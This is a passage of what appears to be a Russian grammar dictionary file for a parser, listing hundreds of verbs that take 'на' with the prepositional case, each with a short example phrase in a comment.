отпраздновать на работе rus_verbs:сгубить{}, // сгубить на корню rus_verbs:схоронить{}, // схоронить на кладбище rus_verbs:тускнеть{}, // тускнеть на солнце rus_verbs:скопить{}, // скопить на счету rus_verbs:помыть{}, // помыть на своем этаже rus_verbs:пороть{}, // пороть на конюшне rus_verbs:наличествовать{}, // наличествовать на складе rus_verbs:нащупывать{}, // нащупывать на полке rus_verbs:змеиться{}, // змеиться на дне rus_verbs:пожелтеть{}, // пожелтеть на солнце rus_verbs:заостриться{}, // заостриться на конце rus_verbs:свезти{}, // свезти на поле rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре rus_verbs:подкрутить{}, // подкрутить на приборной панели rus_verbs:рубиться{}, // рубиться на мечах rus_verbs:сиживать{}, // сиживать на крыльце rus_verbs:тараторить{}, // тараторить на иностранном языке rus_verbs:теплеть{}, // теплеть на сердце rus_verbs:покачаться{}, // покачаться на ветке rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче rus_verbs:развязывать{}, // развязывать на ботинках rus_verbs:подвозить{}, // подвозить на мотороллере rus_verbs:вышивать{}, // вышивать на рубашке rus_verbs:скупать{}, // скупать на открытом рынке rus_verbs:оформлять{}, // оформлять на встрече rus_verbs:распускаться{}, // распускаться на клумбах rus_verbs:прогореть{}, // прогореть на спекуляциях rus_verbs:приползти{}, // приползти на коленях rus_verbs:загореть{}, // загореть на пляже rus_verbs:остудить{}, // остудить на балконе rus_verbs:нарвать{}, // нарвать на поляне rus_verbs:издохнуть{}, // издохнуть на болоте rus_verbs:разгружать{}, // разгружать на дороге rus_verbs:произрастать{}, // произрастать на болотах rus_verbs:разуться{}, // разуться на коврике rus_verbs:сооружать{}, // сооружать на площади rus_verbs:зачитывать{}, // зачитывать на митинге rus_verbs:уместиться{}, // уместиться на ладони rus_verbs:закупить{}, // закупить на рынке rus_verbs:горланить{}, // горланить на улице rus_verbs:экономить{}, // экономить на спичках rus_verbs:исправлять{}, // исправлять на доске rus_verbs:расслабляться{}, // расслабляться на лежаке rus_verbs:скапливаться{}, // скапливаться на крыше rus_verbs:сплетничать{}, // сплетничать на скамеечке rus_verbs:отъезжать{}, // отъезжать на лимузине rus_verbs:отчитывать{}, // отчитывать на собрании rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке rus_verbs:потчевать{}, // потчевать на лаврах rus_verbs:окопаться{}, // окопаться на окраине rus_verbs:загорать{}, // загорать на пляже rus_verbs:обгореть{}, // обгореть на солнце rus_verbs:распознавать{}, // распознавать на фотографии rus_verbs:заплетаться{}, // заплетаться на макушке rus_verbs:перегреться{}, // перегреться на жаре rus_verbs:подметать{}, // подметать на крыльце rus_verbs:нарисоваться{}, // нарисоваться на горизонте rus_verbs:проскакивать{}, // проскакивать на экране rus_verbs:попивать{}, // попивать на балконе чай rus_verbs:отплывать{}, // отплывать на лодке rus_verbs:чирикать{}, // чирикать на ветках rus_verbs:скупить{}, // скупить на оптовых базах rus_verbs:наколоть{}, // наколоть на коже картинку rus_verbs:созревать{}, // созревать на ветке rus_verbs:проколоться{}, // проколоться на мелочи rus_verbs:крутнуться{}, // крутнуться на заднем колесе rus_verbs:переночевать{}, // переночевать на постоялом дворе rus_verbs:концентрироваться{}, // концентрироваться на фильтре rus_verbs:одичать{}, // одичать на хуторе rus_verbs:спасаться{}, // спасаются на лодке rus_verbs:доказываться{}, // доказываться на страницах книги rus_verbs:познаваться{}, // познаваться на ринге rus_verbs:замыкаться{}, // замыкаться на металлическом предмете rus_verbs:заприметить{}, // заприметить на пригорке rus_verbs:продержать{}, // продержать на морозе rus_verbs:форсировать{}, // форсировать на плотах rus_verbs:сохнуть{}, // сохнуть на солнце rus_verbs:выявить{}, // выявить на поверхности rus_verbs:заседать{}, // заседать на кафедре rus_verbs:расплачиваться{}, // расплачиваться на выходе rus_verbs:светлеть{}, // светлеть на горизонте rus_verbs:залепетать{}, // залепетать на незнакомом языке rus_verbs:подсчитывать{}, // подсчитывать на пальцах rus_verbs:зарыть{}, // зарыть на пустыре rus_verbs:сформироваться{}, // сформироваться на месте rus_verbs:развертываться{}, // развертываться на площадке rus_verbs:набивать{}, // набивать на манекенах rus_verbs:замерзать{}, // замерзать на ветру rus_verbs:схватывать{}, // схватывать на лету rus_verbs:перевестись{}, // перевестись на Руси rus_verbs:смешивать{}, // смешивать на блюдце rus_verbs:прождать{}, // прождать на входе rus_verbs:мерзнуть{}, // мерзнуть на ветру rus_verbs:растирать{}, // растирать на коже rus_verbs:переспать{}, // переспал на сеновале rus_verbs:рассекать{}, // рассекать на скутере rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне rus_verbs:дрыхнуть{}, // дрыхнуть на диване rus_verbs:распять{}, // распять на кресте rus_verbs:запечься{}, // запечься на костре rus_verbs:застилать{}, // застилать на балконе rus_verbs:сыскаться{}, // сыскаться на огороде rus_verbs:разориться{}, // разориться на продаже спичек rus_verbs:переделать{}, // переделать на станке rus_verbs:разъяснять{}, // разъяснять на страницах газеты rus_verbs:поседеть{}, // поседеть на висках rus_verbs:протащить{}, // протащить на спине rus_verbs:осуществиться{}, // осуществиться на деле rus_verbs:селиться{}, // селиться на окраине rus_verbs:оплачивать{}, // оплачивать на первой кассе rus_verbs:переворачивать{}, // переворачивать на сковородке rus_verbs:упражняться{}, // упражняться на батуте rus_verbs:испробовать{}, // испробовать на себе rus_verbs:разгладиться{}, // разгладиться на спине rus_verbs:рисоваться{}, // рисоваться на стекле rus_verbs:продрогнуть{}, // продрогнуть на морозе rus_verbs:пометить{}, // пометить на доске rus_verbs:приютить{}, // приютить на чердаке rus_verbs:избирать{}, // избирать на первых свободных выборах rus_verbs:затеваться{}, // затеваться на матче rus_verbs:уплывать{}, // уплывать на катере rus_verbs:замерцать{}, // замерцать на рекламном щите rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне rus_verbs:запираться{}, // запираться на чердаке rus_verbs:загубить{}, // загубить на корню rus_verbs:развеяться{}, // развеяться на природе rus_verbs:съезжаться{}, // съезжаться на лимузинах rus_verbs:потанцевать{}, // потанцевать на могиле rus_verbs:дохнуть{}, // дохнуть на солнце rus_verbs:припарковаться{}, // припарковаться на газоне rus_verbs:отхватить{}, // отхватить на распродаже rus_verbs:остывать{}, // остывать на улице rus_verbs:переваривать{}, // переваривать на высокой ветке rus_verbs:подвесить{}, // подвесить на веревке rus_verbs:хвастать{}, // хвастать на работе rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая rus_verbs:разлечься{}, // разлечься на полу rus_verbs:очертить{}, // очертить на полу rus_verbs:председательствовать{}, // председательствовать на собрании rus_verbs:сконфузиться{}, // сконфузиться на сцене rus_verbs:выявляться{}, // выявляться на ринге rus_verbs:крутануться{}, // крутануться на заднем колесе rus_verbs:караулить{}, // караулить на входе rus_verbs:перечислять{}, // перечислять на пальцах rus_verbs:обрабатывать{}, // обрабатывать на станке rus_verbs:настигать{}, // настигать на берегу rus_verbs:разгуливать{}, // разгуливать на берегу rus_verbs:насиловать{}, // насиловать на пляже rus_verbs:поредеть{}, // поредеть на макушке rus_verbs:учитывать{}, // учитывать на балансе rus_verbs:зарождаться{}, // зарождаться на большой глубине rus_verbs:распространять{}, // распространять на сайтах rus_verbs:пировать{}, // пировать на вершине холма rus_verbs:начертать{}, // начертать на стене rus_verbs:расцветать{}, // расцветать на подоконнике rus_verbs:умнеть{}, // умнеть на глазах rus_verbs:царствовать{}, // царствовать на окраине rus_verbs:закрутиться{}, // закрутиться на работе rus_verbs:отработать{}, // отработать на шахте rus_verbs:полечь{}, // полечь на поле брани rus_verbs:щебетать{}, // щебетать на ветке rus_verbs:подчеркиваться{}, // подчеркиваться на сайте rus_verbs:посеять{}, // посеять на другом поле rus_verbs:замечаться{}, // замечаться на пастбище rus_verbs:просчитать{}, // просчитать на пальцах rus_verbs:голосовать{}, // голосовать на трассе rus_verbs:маяться{}, // маяться на пляже rus_verbs:сколотить{}, // сколотить на службе rus_verbs:обретаться{}, // обретаться на чужбине rus_verbs:обливаться{}, // обливаться на улице rus_verbs:катать{}, // катать на лошадке rus_verbs:припрятать{}, // припрятать на теле rus_verbs:запаниковать{}, // запаниковать на экзамене инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете деепричастие:слетав{}, rus_verbs:срубить{}, // срубить денег на спекуляциях rus_verbs:зажигаться{}, // зажигаться на улице rus_verbs:жарить{}, // жарить на углях rus_verbs:накапливаться{}, // накапливаться на счету rus_verbs:распуститься{}, // распуститься на грядке rus_verbs:рассаживаться{}, // рассаживаться на местах rus_verbs:странствовать{}, // странствовать на лошади rus_verbs:осматриваться{}, // осматриваться на месте rus_verbs:разворачивать{}, // разворачивать на завоеванной территории rus_verbs:согревать{}, // согревать на вершине горы rus_verbs:заскучать{}, // заскучать на вахте rus_verbs:перекусить{}, // перекусить на бегу rus_verbs:приплыть{}, // приплыть на тримаране rus_verbs:зажигать{}, // зажигать на танцах rus_verbs:закопать{}, // закопать на поляне rus_verbs:стирать{}, // стирать на берегу rus_verbs:подстерегать{}, // подстерегать на подходе rus_verbs:погулять{}, // погулять на свадьбе rus_verbs:огласить{}, // огласить на митинге rus_verbs:разбогатеть{}, // разбогатеть на прииске rus_verbs:грохотать{}, // грохотать на чердаке rus_verbs:расположить{}, // расположить на границе rus_verbs:реализоваться{}, // реализоваться на новой работе rus_verbs:застывать{}, // застывать на морозе rus_verbs:запечатлеть{}, // запечатлеть на пленке rus_verbs:тренироваться{}, // тренироваться на манекене rus_verbs:поспорить{}, // поспорить на совещании rus_verbs:затягивать{}, // затягивать на поясе rus_verbs:зиждиться{}, // зиждиться на твердой основе rus_verbs:построиться{}, // построиться на песке rus_verbs:надрываться{}, // надрываться на работе rus_verbs:закипать{}, // закипать на плите rus_verbs:затонуть{}, // затонуть на мелководье rus_verbs:побыть{}, // побыть на фазенде rus_verbs:сгорать{}, // сгорать на солнце инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице деепричастие:пописав{ aux stress="поп^исав" }, rus_verbs:подраться{}, // подраться на сцене rus_verbs:заправить{}, // заправить на последней заправке rus_verbs:обозначаться{}, // обозначаться на карте rus_verbs:просиживать{}, // просиживать на берегу rus_verbs:начертить{}, // начертить на листке rus_verbs:тормозить{}, // тормозить на льду rus_verbs:затевать{}, // затевать на космической базе rus_verbs:задерживать{}, // задерживать на таможне rus_verbs:прилетать{}, // прилетать на частном самолете rus_verbs:полулежать{}, // полулежать на травке rus_verbs:ерзать{}, // ерзать на табуретке rus_verbs:покопаться{}, // покопаться на складе rus_verbs:подвезти{}, // подвезти на машине rus_verbs:полежать{}, // полежать на водном матрасе rus_verbs:стыть{}, // стыть на улице rus_verbs:стынуть{}, // стынуть на улице rus_verbs:скреститься{}, // скреститься на груди rus_verbs:припарковать{}, // припарковать на стоянке rus_verbs:здороваться{}, // здороваться на кафедре rus_verbs:нацарапать{}, // нацарапать на парте rus_verbs:откопать{}, // откопать на поляне rus_verbs:смастерить{}, // смастерить на коленках rus_verbs:довезти{}, // довезти на машине rus_verbs:избивать{}, // избивать на крыше rus_verbs:сварить{}, // сварить на костре rus_verbs:истребить{}, // истребить на корню rus_verbs:раскопать{}, // раскопать на болоте rus_verbs:попить{}, // попить на кухне rus_verbs:заправлять{}, // заправлять на базе rus_verbs:кушать{}, // кушать на кухне rus_verbs:замолкать{}, // замолкать на половине фразы rus_verbs:измеряться{}, // измеряться на весах rus_verbs:сбываться{}, // сбываться на самом деле rus_verbs:изображаться{}, // изображается на сцене rus_verbs:фиксировать{}, // фиксировать на данной высоте rus_verbs:ослаблять{}, // ослаблять на шее rus_verbs:зреть{}, // зреть на грядке rus_verbs:зеленеть{}, // зеленеть на грядке rus_verbs:критиковать{}, // критиковать на страницах газеты rus_verbs:облететь{}, // облететь на самолете rus_verbs:заразиться{}, // заразиться на работе rus_verbs:рассеять{}, // рассеять на территории rus_verbs:печься{}, // печься на костре rus_verbs:поспать{}, // поспать на земле rus_verbs:сплетаться{}, // сплетаться на макушке rus_verbs:удерживаться{}, // удерживаться на расстоянии rus_verbs:помешаться{}, // помешаться на чистоте rus_verbs:ликвидировать{}, // ликвидировать на полигоне rus_verbs:проваляться{}, // проваляться на диване rus_verbs:лечиться{}, // лечиться на дому rus_verbs:обработать{}, // обработать на станке rus_verbs:защелкнуть{}, // защелкнуть на руках rus_verbs:разносить{}, // разносить на одежде rus_verbs:чесать{}, // чесать на груди rus_verbs:наладить{}, // наладить на конвейере выпуск rus_verbs:отряхнуться{}, // отряхнуться на улице rus_verbs:разыгрываться{}, // разыгрываться на скачках rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях rus_verbs:греться{}, // греться на вокзале rus_verbs:засидеться{}, // засидеться на одном месте rus_verbs:материализоваться{}, // материализоваться на границе rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин rus_verbs:перевозить{}, // перевозить на платформе rus_verbs:поиграть{}, // поиграть на скрипке rus_verbs:потоптаться{}, // потоптаться на одном месте rus_verbs:переправиться{}, // переправиться на плоту rus_verbs:забрезжить{}, // забрезжить на горизонте rus_verbs:завывать{}, // завывать на опушке rus_verbs:заваривать{}, // заваривать на кухоньке rus_verbs:перемещаться{}, // перемещаться на спасательном плоту инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке rus_verbs:праздновать{}, // праздновать на улицах rus_verbs:обучить{}, // обучить на корте rus_verbs:орудовать{}, // орудовать на складе rus_verbs:подрасти{}, // подрасти на глядке rus_verbs:шелестеть{}, // шелестеть на ветру rus_verbs:раздеваться{}, // раздеваться на публике rus_verbs:пообедать{}, // пообедать на газоне rus_verbs:жрать{}, // жрать на помойке rus_verbs:исполняться{}, // исполняться на флейте rus_verbs:похолодать{}, // похолодать на улице rus_verbs:гнить{}, // гнить на каторге rus_verbs:прослушать{}, // прослушать на концерте rus_verbs:совещаться{}, // совещаться на заседании rus_verbs:покачивать{}, // покачивать на волнах rus_verbs:отсидеть{}, // отсидеть на гаупвахте rus_verbs:формировать{}, // формировать на секретной базе rus_verbs:захрапеть{}, // захрапеть на кровати rus_verbs:объехать{}, // объехать на попутке rus_verbs:поселить{}, // поселить на верхних этажах rus_verbs:заворочаться{}, // заворочаться на сене rus_verbs:напрятать{}, // напрятать на теле rus_verbs:очухаться{}, // очухаться на земле rus_verbs:полистать{}, // полистать на досуге rus_verbs:завертеть{}, // завертеть на шесте rus_verbs:печатать{}, // печатать на ноуте rus_verbs:отыскаться{}, // отыскаться на складе rus_verbs:зафиксировать{}, // зафиксировать на пленке rus_verbs:расстилаться{}, // расстилаться на столе rus_verbs:заместить{}, // заместить на посту rus_verbs:угасать{}, // угасать на неуправляемом корабле rus_verbs:сразить{}, // сразить на ринге rus_verbs:расплываться{}, // расплываться на жаре rus_verbs:сосчитать{}, // сосчитать на пальцах rus_verbs:сгуститься{}, // сгуститься на небольшой высоте rus_verbs:цитировать{}, // цитировать на плите rus_verbs:ориентироваться{}, // ориентироваться на местности rus_verbs:расширить{}, // расширить на другом конце rus_verbs:обтереть{}, // обтереть на стоянке rus_verbs:подстрелить{}, // подстрелить на охоте rus_verbs:растереть{}, // растереть на твердой поверхности rus_verbs:подавлять{}, // подавлять на первом этапе rus_verbs:смешиваться{}, // смешиваться на поверхности // инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте // деепричастие:вычитав{}, rus_verbs:сократиться{}, // сократиться на втором этапе rus_verbs:занервничать{}, // занервничать на экзамене rus_verbs:соприкоснуться{}, // соприкоснуться на трассе rus_verbs:обозначить{}, // обозначить на плане rus_verbs:обучаться{}, // обучаться на производстве rus_verbs:снизиться{}, // снизиться на большой высоте rus_verbs:простудиться{}, // простудиться на ветру rus_verbs:поддерживаться{}, // поддерживается на встрече rus_verbs:уплыть{}, // уплыть на лодочке rus_verbs:резвиться{}, // резвиться на песочке rus_verbs:поерзать{}, // поерзать на скамеечке rus_verbs:похвастаться{}, // похвастаться на встрече rus_verbs:знакомиться{}, // знакомиться на уроке rus_verbs:проплывать{}, // проплывать на катере rus_verbs:засесть{}, // засесть на чердаке rus_verbs:подцепить{}, // подцепить на дискотеке rus_verbs:обыскать{}, // обыскать на входе rus_verbs:оправдаться{}, // оправдаться на суде rus_verbs:раскрываться{}, // раскрываться на сцене rus_verbs:одеваться{}, // одеваться на вещевом рынке rus_verbs:засветиться{}, // засветиться на фотографиях rus_verbs:употребляться{}, // употребляться на птицефабриках rus_verbs:грабить{}, // грабить на пустыре rus_verbs:гонять{}, // гонять на повышенных оборотах rus_verbs:развеваться{}, // развеваться на древке rus_verbs:основываться{}, // основываться на безусловных фактах rus_verbs:допрашивать{}, // допрашивать на базе rus_verbs:проработать{}, // проработать на стройке rus_verbs:сосредоточить{}, // сосредоточить на месте rus_verbs:сочинять{}, // сочинять на ходу rus_verbs:ползать{}, // ползать на камне rus_verbs:раскинуться{}, // раскинуться на пустыре rus_verbs:уставать{}, // уставать на работе rus_verbs:укрепить{}, // укрепить на конце rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь rus_verbs:одобрять{}, // одобрять на словах rus_verbs:приговорить{}, // приговорить на заседании тройки rus_verbs:чернеть{}, // чернеть на свету rus_verbs:гнуть{}, // гнуть на станке rus_verbs:размещаться{}, // размещаться на бирже rus_verbs:соорудить{}, // соорудить на даче rus_verbs:пастись{}, // пастись на лугу rus_verbs:формироваться{}, // формироваться на дне rus_verbs:таить{}, // таить на дне rus_verbs:приостановиться{}, // приостановиться на середине rus_verbs:топтаться{}, // топтаться на месте rus_verbs:громить{}, // громить на подступах rus_verbs:вычислить{}, // вычислить на бумажке rus_verbs:заказывать{}, // заказывать на сайте rus_verbs:осуществить{}, // осуществить на практике rus_verbs:обосноваться{}, // обосноваться на верхушке rus_verbs:пытать{}, // пытать на электрическом стуле rus_verbs:совершиться{}, // совершиться на заседании rus_verbs:свернуться{}, // свернуться на медленном огне rus_verbs:пролетать{}, // пролетать на дельтаплане rus_verbs:сбыться{}, // сбыться на самом деле rus_verbs:разговориться{}, // разговориться на уроке rus_verbs:разворачиваться{}, // разворачиваться на перекрестке rus_verbs:преподнести{}, // преподнести на блюдечке rus_verbs:напечатать{}, // напечатать на лазернике rus_verbs:прорвать{}, // прорвать на периферии rus_verbs:раскачиваться{}, // раскачиваться на доске rus_verbs:задерживаться{}, // задерживаться на старте rus_verbs:угощать{}, // угощать на вечеринке rus_verbs:шарить{}, // шарить на столе rus_verbs:увеличивать{}, // увеличивать на первом этапе rus_verbs:рехнуться{}, // рехнуться на старости лет rus_verbs:расцвести{}, // расцвести на грядке rus_verbs:закипеть{}, // закипеть на плите rus_verbs:подлететь{}, // подлететь на параплане rus_verbs:рыться{}, // рыться на свалке rus_verbs:добираться{}, // добираться на попутках rus_verbs:продержаться{}, // продержаться на вершине rus_verbs:разыскивать{}, // разыскивать на выставках rus_verbs:освобождать{}, // освобождать на заседании rus_verbs:передвигаться{}, // передвигаться на самокате rus_verbs:проявиться{}, // проявиться на свету rus_verbs:заскользить{}, // заскользить на льду rus_verbs:пересказать{}, // пересказать на сцене студенческого театра rus_verbs:протестовать{}, // протестовать на улице rus_verbs:указываться{}, // указываться на табличках rus_verbs:прискакать{}, // прискакать на лошадке rus_verbs:копошиться{}, // копошиться на свежем воздухе rus_verbs:подсчитать{}, // подсчитать на бумажке rus_verbs:разволноваться{}, // разволноваться на экзамене rus_verbs:завертеться{}, // завертеться на полу rus_verbs:ознакомиться{}, // ознакомиться на ходу rus_verbs:ржать{}, // ржать на уроке rus_verbs:раскинуть{}, // раскинуть на грядках rus_verbs:разгромить{}, // разгромить на ринге rus_verbs:подслушать{}, // подслушать на совещании rus_verbs:описываться{}, // описываться на страницах книги rus_verbs:качаться{}, // качаться на стуле rus_verbs:усилить{}, // усилить на флангах rus_verbs:набросать{}, // набросать на клочке картона rus_verbs:расстреливать{}, // расстреливать на подходе rus_verbs:запрыгать{}, // запрыгать на одной ноге rus_verbs:сыскать{}, // сыскать на чужбине rus_verbs:подтвердиться{}, // подтвердиться на практике rus_verbs:плескаться{}, // плескаться на мелководье rus_verbs:расширяться{}, // расширяться на конце rus_verbs:подержать{}, // подержать на солнце rus_verbs:планироваться{}, // планироваться на общем собрании rus_verbs:сгинуть{}, // сгинуть на чужбине rus_verbs:замкнуться{}, // замкнуться на точке rus_verbs:закачаться{}, // закачаться на ветру rus_verbs:перечитывать{}, // перечитывать на ходу rus_verbs:перелететь{}, // перелететь на дельтаплане rus_verbs:оживать{}, // оживать на солнце rus_verbs:женить{}, // женить на богатой невесте rus_verbs:заглохнуть{}, // заглохнуть на старте rus_verbs:копаться{}, // копаться на полу rus_verbs:развлекаться{}, // развлекаться на дискотеке rus_verbs:печататься{}, // печататься на струйном принтере rus_verbs:обрываться{}, // обрываться на полуслове rus_verbs:ускакать{}, // ускакать на лошадке rus_verbs:подписывать{}, // подписывать на столе rus_verbs:добывать{}, // добывать на выработке rus_verbs:скопиться{}, // скопиться на выходе rus_verbs:повстречать{}, // повстречать на пути rus_verbs:поцеловаться{}, // поцеловаться на площади rus_verbs:растянуть{}, // растянуть на столе rus_verbs:подаваться{}, // подаваться на благотворительном обеде rus_verbs:повстречаться{}, // повстречаться на митинге rus_verbs:примоститься{}, // примоститься на ступеньках rus_verbs:отразить{}, // отразить на страницах доклада rus_verbs:пояснять{}, // пояснять на страницах приложения rus_verbs:накормить{}, // накормить на кухне rus_verbs:поужинать{}, // поужинать на веранде инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге деепричастие:спев{}, инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить на мелководье rus_verbs:освоить{}, // освоить на практике rus_verbs:распластаться{}, // распластаться на травке rus_verbs:отплыть{}, // отплыть на старом каяке rus_verbs:улетать{}, // улетать на любом самолете rus_verbs:отстаивать{}, // отстаивать на корте rus_verbs:осуждать{}, // осуждать на словах rus_verbs:переговорить{}, // переговорить на обеде rus_verbs:укрыть{}, // укрыть на чердаке rus_verbs:томиться{}, // томиться на привязи rus_verbs:сжигать{}, // сжигать на полигоне rus_verbs:позавтракать{}, // позавтракать на лоне природы rus_verbs:функционировать{}, // функционирует на солнечной энергии rus_verbs:разместить{}, // разместить на сайте rus_verbs:пронести{}, // пронести на теле rus_verbs:нашарить{}, // нашарить на столе rus_verbs:корчиться{}, // корчиться на полу rus_verbs:распознать{}, // распознать на снимке rus_verbs:повеситься{}, // повеситься на шнуре rus_verbs:обозначиться{}, // обозначиться на картах rus_verbs:оступиться{}, // оступиться на скользком льду rus_verbs:подносить{}, // подносить на блюдечке rus_verbs:расстелить{}, // расстелить на газоне rus_verbs:обсуждаться{}, // обсуждаться на собрании rus_verbs:расписаться{}, // расписаться на бланке rus_verbs:плестись{}, // плестись на привязи rus_verbs:объявиться{}, // объявиться на сцене rus_verbs:повышаться{}, // повышаться на первом датчике rus_verbs:разрабатывать{}, // разрабатывать на заводе rus_verbs:прерывать{}, // прерывать на середине rus_verbs:каяться{}, // каяться на публике rus_verbs:освоиться{}, // освоиться на лошади rus_verbs:подплыть{}, // подплыть на плоту rus_verbs:оскорбить{}, // оскорбить на митинге rus_verbs:торжествовать{}, // торжествовать на пьедестале rus_verbs:поправлять{}, // поправлять на одежде rus_verbs:отражать{}, // отражать на картине rus_verbs:дремать{}, // дремать на кушетке rus_verbs:применяться{}, // применяться на производстве стали rus_verbs:поражать{}, // поражать на большой дистанции rus_verbs:расстрелять{}, // расстрелять на окраине хутора rus_verbs:рассчитать{}, // рассчитать на калькуляторе rus_verbs:записывать{}, // записывать на ленте rus_verbs:перебирать{}, // перебирать на ладони rus_verbs:разбиться{}, // разбиться на катере rus_verbs:поискать{}, // поискать на ферме rus_verbs:прятать{}, // прятать на заброшенном складе rus_verbs:пропеть{}, // пропеть на эстраде rus_verbs:замелькать{}, // замелькать на экране rus_verbs:грустить{}, // грустить на веранде rus_verbs:крутить{}, // крутить на оси rus_verbs:подготовить{}, // подготовить на конспиративной квартире rus_verbs:различать{}, // различать на картинке rus_verbs:киснуть{}, // киснуть на чужбине rus_verbs:оборваться{}, // оборваться на полуслове rus_verbs:запутаться{}, // запутаться на простейшем тесте rus_verbs:общаться{}, // общаться на уроке rus_verbs:производиться{}, // производиться на фабрике rus_verbs:сочинить{}, // сочинить на досуге rus_verbs:давить{}, // давить на лице rus_verbs:разработать{}, // разработать на секретном предприятии rus_verbs:качать{}, // качать на качелях rus_verbs:тушить{}, // тушить на крыше пожар rus_verbs:охранять{}, // охранять на территории базы rus_verbs:приметить{}, // приметить на взгорке rus_verbs:скрыть{}, // скрыть на теле rus_verbs:удерживать{}, // удерживать на руке rus_verbs:усвоить{}, // усвоить на уроке rus_verbs:растаять{}, // растаять на солнечной стороне rus_verbs:красоваться{}, // красоваться на виду rus_verbs:сохраняться{}, // сохраняться на холоде rus_verbs:лечить{}, // лечить на дому rus_verbs:прокатиться{}, // прокатиться на уницикле rus_verbs:договариваться{}, // договариваться на нейтральной территории rus_verbs:качнуться{}, // качнуться на одной ноге rus_verbs:опубликовать{}, // опубликовать на сайте rus_verbs:отражаться{}, // отражаться на поверхности воды rus_verbs:обедать{}, // обедать на веранде rus_verbs:посидеть{}, // посидеть на лавочке rus_verbs:сообщаться{}, // сообщаться на официальном сайте rus_verbs:свершиться{}, // свершиться на заседании rus_verbs:ночевать{}, // ночевать на даче rus_verbs:темнеть{}, // темнеть на свету rus_verbs:гибнуть{}, // гибнуть на территории полигона rus_verbs:усиливаться{}, // усиливаться на территории округа rus_verbs:проживать{}, // проживать на даче rus_verbs:исследовать{}, // исследовать на большой глубине rus_verbs:обитать{}, // обитать на громадной глубине rus_verbs:сталкиваться{}, // сталкиваться на большой высоте rus_verbs:таиться{}, // таиться на большой глубине rus_verbs:спасать{}, // спасать на пожаре rus_verbs:сказываться{}, // сказываться на общем результате rus_verbs:заблудиться{}, // заблудиться на стройке rus_verbs:пошарить{}, // пошарить на полках rus_verbs:планировать{}, // планировать на бумаге rus_verbs:ранить{}, // ранить на полигоне rus_verbs:хлопать{}, // хлопать на сцене rus_verbs:основать{}, // основать на горе новый монастырь rus_verbs:отбить{}, // отбить на столе rus_verbs:отрицать{}, // отрицать на заседании комиссии rus_verbs:устоять{}, // устоять на ногах rus_verbs:отзываться{}, // отзываться на страницах отчёта rus_verbs:притормозить{}, // притормозить на обочине rus_verbs:читаться{}, // читаться на лице rus_verbs:заиграть{}, // заиграть на саксофоне rus_verbs:зависнуть{}, // зависнуть на игровой площадке rus_verbs:сознаться{}, // сознаться на допросе rus_verbs:выясняться{}, // выясняться на очной ставке rus_verbs:наводить{}, // наводить на столе порядок rus_verbs:покоиться{}, // покоиться на кладбище rus_verbs:значиться{}, // значиться на бейджике rus_verbs:съехать{}, // съехать на санках rus_verbs:познакомить{}, // познакомить на свадьбе rus_verbs:завязать{}, // завязать на спине rus_verbs:грохнуть{}, // грохнуть на площади rus_verbs:разъехаться{}, // разъехаться на узкой дороге rus_verbs:столпиться{}, // столпиться на крыльце rus_verbs:порыться{}, // порыться на полках rus_verbs:ослабить{}, // ослабить на шее rus_verbs:оправдывать{}, // оправдывать на суде rus_verbs:обнаруживаться{}, // обнаруживаться на складе rus_verbs:спастись{}, // спастись на дереве rus_verbs:прерваться{}, // прерваться на полуслове rus_verbs:строиться{}, // строиться на пустыре rus_verbs:познать{}, // познать на практике rus_verbs:путешествовать{}, // путешествовать на поезде rus_verbs:побеждать{}, // побеждать на ринге rus_verbs:рассматриваться{}, // рассматриваться на заседании rus_verbs:продаваться{}, // продаваться на открытом рынке rus_verbs:разместиться{}, // разместиться на базе rus_verbs:завыть{}, // завыть на холме rus_verbs:настигнуть{}, // настигнуть на окраине rus_verbs:укрыться{}, // укрыться на чердаке rus_verbs:расплакаться{}, // расплакаться на заседании комиссии rus_verbs:заканчивать{}, // заканчивать на последнем задании rus_verbs:пролежать{}, // пролежать на столе rus_verbs:громоздиться{}, // громоздиться на полу rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе rus_verbs:поскользнуться{}, // поскользнуться на льду rus_verbs:таскать{}, // таскать на спине rus_verbs:просматривать{}, // просматривать на сайте rus_verbs:обдумать{}, // обдумать на досуге rus_verbs:гадать{}, // гадать на кофейной гуще rus_verbs:останавливать{}, // останавливать на выходе rus_verbs:обозначать{}, // обозначать на странице rus_verbs:долететь{}, // долететь на спортивном байке rus_verbs:тесниться{}, // тесниться на чердачке rus_verbs:хоронить{}, // хоронить на частном кладбище rus_verbs:установиться{}, // установиться на юге rus_verbs:прикидывать{}, // прикидывать на клочке бумаги rus_verbs:затаиться{}, // затаиться на дереве rus_verbs:раздобыть{}, // раздобыть на складе rus_verbs:перебросить{}, // перебросить на вертолетах rus_verbs:захватывать{}, // захватывать на базе rus_verbs:сказаться{}, // сказаться на итоговых оценках rus_verbs:покачиваться{}, // покачиваться на волнах rus_verbs:крутиться{}, // крутиться на кухне rus_verbs:помещаться{}, // помещаться на полке rus_verbs:питаться{}, // питаться на помойке rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле rus_verbs:кататься{}, // кататься на велике rus_verbs:поработать{}, // поработать на стройке rus_verbs:ограбить{}, // ограбить на пустыре rus_verbs:зарабатывать{}, // зарабатывать на бирже rus_verbs:преуспеть{}, // преуспеть на ниве искусства rus_verbs:заерзать{}, // заерзать на стуле rus_verbs:разъяснить{}, // разъяснить на полях rus_verbs:отчеканить{}, // отчеканить на медной пластине rus_verbs:торговать{}, // торговать на рынке rus_verbs:поколебаться{}, // поколебаться на пороге rus_verbs:прикинуть{}, // прикинуть на 